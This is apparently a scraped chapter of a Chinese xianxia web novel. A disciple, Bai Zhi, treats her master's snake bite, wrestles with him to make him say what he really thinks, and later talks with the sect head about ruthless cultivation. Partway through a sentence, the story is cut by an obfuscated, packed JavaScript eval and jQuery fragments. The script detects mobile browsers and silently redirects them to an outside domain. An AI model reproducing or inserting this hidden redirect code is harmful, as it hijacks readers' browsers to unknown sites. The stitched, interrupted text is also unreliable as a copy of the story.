“砰”的一声,白栀被这声音吓醒了,瞪大了眼睛从床上坐起。
这啥动静啊,三宗打上一念山了?
等她从窗户探出脑袋,一口气又差点没上来,原来是师父从石头上摔下来。
怎么又出事了?
白栀内心尖叫一声,拿着纱布就冲了出去,等靠近注意到他发紫的唇色和手腕的咬痕。
白栀立马紧勒他手臂关节,防止毒液继续扩散,随后用力狠掐他的血口,把毒血挤出来。
“师父、师父!”白栀晃了晃他的肩膀,他额头也磕的很厉害,半边脸都被血染湿,脸上没半点人色,惨淡的不像话。
“陆梦溪,陆梦溪!!”白栀只能一边按他额头的血口,一边将毒血吸出来,等血液终于重新变红,她拎着商阙的耳朵大喊:“陆梦溪你给我醒过来!”
就在她迟疑着要不要给他两巴掌时,商阙终于睁开了眼睛,他喃喃道:“药,找药。”
白栀立刻翻着自己的乾坤袋,但她在这里这么久就没见过蛇,身上没有解毒药,商阙抓着她的手往自己腰间伸,示意她去拿自己的乾坤袋。
刚一拿到,这乾坤袋的锁扣在她手中自动散落,白栀愣住。
修士的乾坤袋都认主,只有感觉到主人以及被许可的气息才能打开,除非修士身死后以外力强行抹去上面的印记。
但此刻,陆梦溪的乾坤袋却对她开了。
白栀忙从中翻出所有药瓶,她不懂药理,被这一堆瓶子晃晕了眼,只能一个个打开给商阙辨认:“师父,你看吃哪个啊?”
“这,这个,三颗。”商阙眼睫微微睁开,黑色眼珠转动着,示意她打开左边那个白玉瓶。此刻也顾不得什么干净,白栀直接把药塞进了他嘴里,又进屋拿水给他送服。
商阙喝了两口,注意到这杯子与自己房内的不同,“哪来的杯子?”
“我房间的啊。”白栀说完才觉不妥,为了避免他发脾气,她撒了个谎:“我洗了,真的。”
商阙压下那种不适感,没多说什么,只是将杯子推远了点。
幸亏这毒不烈,麻痹的四肢渐渐有了知觉,他撑着白栀的肩膀站起:“扶我进去。”
白栀扶他回房后又倒了一盆水给他擦脸,清水变成淡红色,商阙把血迹清洗完后终于松了口气,他实在讨厌那种黏腻的感觉。
止血上药,一切都处理好后白栀端着污水正要出去,刚走两步,四肢一软,她差点摔倒在地,铜盆哐当落地。
心脏剧烈跳动。
“你怎么也中毒了?”商阙看着她泛着紫色的嘴唇,视线又望向自己的伤口处旁边的掐痕,若有所思:“你给我吸毒?”
白栀觉得几乎喘不过来气,她手抖着掏那瓶药,却手指无力,半天都没打开瓶盖。
商阙一把上前,打开药瓶,捏住她的下巴就往里倒,塞得满满当当。
这药实在太苦了,白栀脸皱成了苦瓜,她呕了一声,“不是说只能吃三颗么?”
“我吃三颗不等于你吃三颗。”商阙慢条斯理地收回手,“放心,不会死。”
就这一眼,白栀肯定他刚刚是在报复自己之前给他灌药。
商阙背对着她将有些脏污的外衣脱下,丢到一旁,坐回榻上。白栀缓过来道:“师父,你这次,应该不是故意的吧?”
“什么?”
“我在这就没见过蛇。”白栀恢复力气慢慢爬了起来,她不相信这蛇出现在这里是意外,便勉强挤出个笑:“你不会,还在打那个主意吧?”
“......”商阙沉默着,眼神带着被冒犯的质问。
“下去。”他说完这句,闭上了眼睛。
这什么都不说,拒绝沟通的样子真是让白栀恨得牙痒痒,她梗着脖子站在原地。
说下就下,她是下人么?
“怎么,想杀我?”商阙闭着眼反问。
“没有,徒儿不敢。”白栀冷笑:“但徒弟想做一件事。”
“......什么?”商阙睁开眼,白栀气势汹汹地将衣服一丢,挽着袖子冲到了他面前:“老娘真的已经忍你很久了!”
她伸出手就要扣住他的臂膀,却被商阙闪电般躲开,他向来不会吃第二次亏,这师徒俩顷刻就在这方寸之地过了几招。
他这个废物徒弟虽然修为平平,单论身法却是迅捷至极,反应这种东西,没有下苦工特意训练是养不出来的。
虽然她的日记上总是抱怨自己天赋不够,学什么什么不会,但从实际上来看,这人的反应速度却比那些元婴修士都强。
地上的水还没擦去,商阙脚一滑,被白栀抓住了破绽,到底他有伤在身,她一把扣住了商阙的手腕,反折至背后,把他背压到了床上。
如此粗暴,甚至是被压制的姿态,神君瞬间脸都绿了。
“白栀你大胆!”他怒喝。
“......”白栀深吸了口气,用力压下他的挣扎,先讲道理:“师父,我们两个相处本就不多,对彼此也不够了解。我不知道你为什么讨厌我还要收我为徒,不把我当弟子看待却还留我在山上,所以这次,我希望你能说你的真心话。”
“......”商阙死死咬住了牙,死不开口。
白栀见他装死,决定还是不讲道理。
她曲起手指在他腰间挠了挠。
“呵——”商阙差点没忍住,这次他沉下声音,语调中满是威胁:“白栀——”
白栀说:“你是真的想死么?”
商阙:“......”
见他不答,白栀叹了口气,只能继续下手。
商阙的身体紧绷起来,他死咬住唇,不愿吭一声,白栀能料想到他的强硬,但他强硬,她只会比他更加强硬。
“徒儿希望你能告诉我你的真实想法,”白栀声音带着点疲惫:“我们不是师徒,不是亲人么?”
“......呵。”商阙一张口便有些压不住笑,但他狠狠咬了一口手腕,以尖锐疼痛抵抗身体不受控制的本能,质问:“你这是徒弟对待师父应有的行为么?”
“因为你总不说,而我又猜不到。”白栀指节用了点力气,她在试探着他的致命弱点,逼他说出心里话,“只要你说,我立刻赔礼道歉。”
这一切都脱离了他的掌控,商阙神君再次产生那种不可抑制的恨意,仿佛滔天的浪潮,将他所有理智所有想法沉溺入海中。
心脏疯狂冲撞着。
白栀还在不依不饶地问,问他的想法,他的本心。
他的事,也轮得到这么个无关的凡人来问么?
终于,这段时间累计的焦躁推动情绪达到巅峰,杀意如排山倒海,他咆哮:“我想要你死!!”
白栀停下了动作。
她松手的一瞬,身体下意识一侧,锋利的玉簪擦着她下颌而过,射入梁柱。
好险,白栀暗自心惊,缓缓转过头,对上一双通红狠厉的眼。
商阙气得发抖。
但很可惜,白栀现在是个没心没肺的,即便她刚刚与死亡擦肩,还能很快微笑起来,“我是凡人,努努力,最多也就再有四五十年的寿命,师父既然想要看我死,那可千万不能死在我前面啊。”
商阙喘着气,看她弯腰给自己行了个大礼:“对不住啦师父,徒弟冒犯了,你想怎么惩罚我直接说,可别只气自己。”
太贱了。
商阙一口气哽住。
“你慢慢想,我去洗衣服。”白栀捡起这带着血的外衣,哼着不成调的小曲离开了。
商阙狠狠拍了一下床,脱力般躺了回去,恼怒至极。
白栀抱着衣服往后院走,发现天
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16447016|185143||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
幕之东云霞垂落,格外红艳如火,就像是天梯垂落人间一般。
恰在此时,头顶结界光芒一亮。
“那是接引修士飞升的霞光,又有人成仙了。”身后有人道。
白栀听出这个声音,转身行礼:“掌门。”
颜千山缓步走来,视线在白栀试图藏起来的血衣上一闪而过,他担忧道:“师弟又吐血了么?”
“没有,都是之前我没来得及洗的衣服,掌门不必担心。”白栀见他眼神忧愁,笑了笑:“师父现在可能睡下了,要我喊他么?”
颜千山轻笑出声,“那不打扰他休息了,我来随便看看,顺便给你送东西。”
他提起手中的竹筐,里面都是杂粮蔬菜,白栀瞟见其中一罐糖,简直受宠若惊,“还有糖?”
“想着你们也许用得上。”颜千山说。
白栀道谢后先把东西拿回厨房,颜千山也跟着她进入后院。
后院的西南方是繁盛的群山深处,一眼望去,浓绿无边,一念山各位长老居所都绕着山脉中心呈包围之势,中心腹地是护山大阵阵眼所在,也是绝对的禁地。
而这儿是距离禁地最近的住所。
颜千山站在这里,低矮的墙根本挡不住化神修士的灵识,那些层层叠叠能轻松掩盖肉眼探查的绿荫在他眼中此刻都被虚化——
阵眼的所在被灰黑色雾气包围着,拒绝任何人的探查,只能隐约看见雾气中树影朦胧,光芒在其中闪烁着,伴随着低低的剑鸣声。
察觉到有人进入,这股光芒向他激射而来,颜千山的灵识被一股温和强大的力量弹出,像是有人在他肩头轻轻拍了一下。
他一瞬回神,却又因这股力量中熟悉的气息而怔住,喃喃道:“......师父。”
后院的鸡群突然尖叫起来,颜千山看向声音来处,原来是一只黑鹰突然从空中扑袭向鸡群,纷乱间一只瘦弱的幼崽被抓了起来,黑鹰张开翅膀带着猎物即将飞过墙头,颜千山下意识就要阻止——
“等等。”有人拉住了他的手,在他动手的一瞬就拦下了他。这反应近乎可与他这个化神修士比肩。
黑鹰已经腾空而起。
白栀看着那黑影没入林中,解释道:“那只黑鹰后爪有伤,不捕猎,它就会饿死。”
颜千山诧异道:“这些鸡你养了这么久,就这么白白死了,难道不可惜么?”
“生死轮转,生生不息,黑鹰捕猎是万物既定的规则,没什么可惜的。”她尬笑着松开手说:“冒犯掌门,弟子有罪。”
颜千山不露痕迹地抚过她手腕,轻叹道:“这一点倒是近似无情道,听说你想入此道?”
她一个没结丹的凡人,在一位即将飞升的化神期修士面前说如何修行,白栀还是有些羞愧:“弟子听说,修无情道的人最多,最有前途,修行速度最快。”
“无情道的确修行最快,但这是把双刃剑,走错一步,伤人伤己,”颜千山叹气,突然朝她露出一个大人逗弄孩童般的表情:“想知道为什么当今修真界,为什么这么多修士都要走这条路么?”
这个故事白栀自然听过,“因为一个人。”
“不错,还是一个凡人。她通过修炼此道不仅飞升天界,还在短短千年之内由仙晋至上神,得天帝重用,负责镇守神魔交界之处的昆仑,封神域以西之主位。”
“凡人向来有供奉各路神明的习惯,你之前在凡间应该听过她的名字,见过她的神像,”颜千山语气中是淡淡的怅惘:“这个人就是曾经的天界四君之首,如今的天界罪人——
“西君白止。”白栀接口道。
“现在可不能以西君称白止,若是被白帝城新主人听见了,可会生气的。”
颜千山看着她,轻轻笑了起来。
白栀便问:“现在的西君是谁?”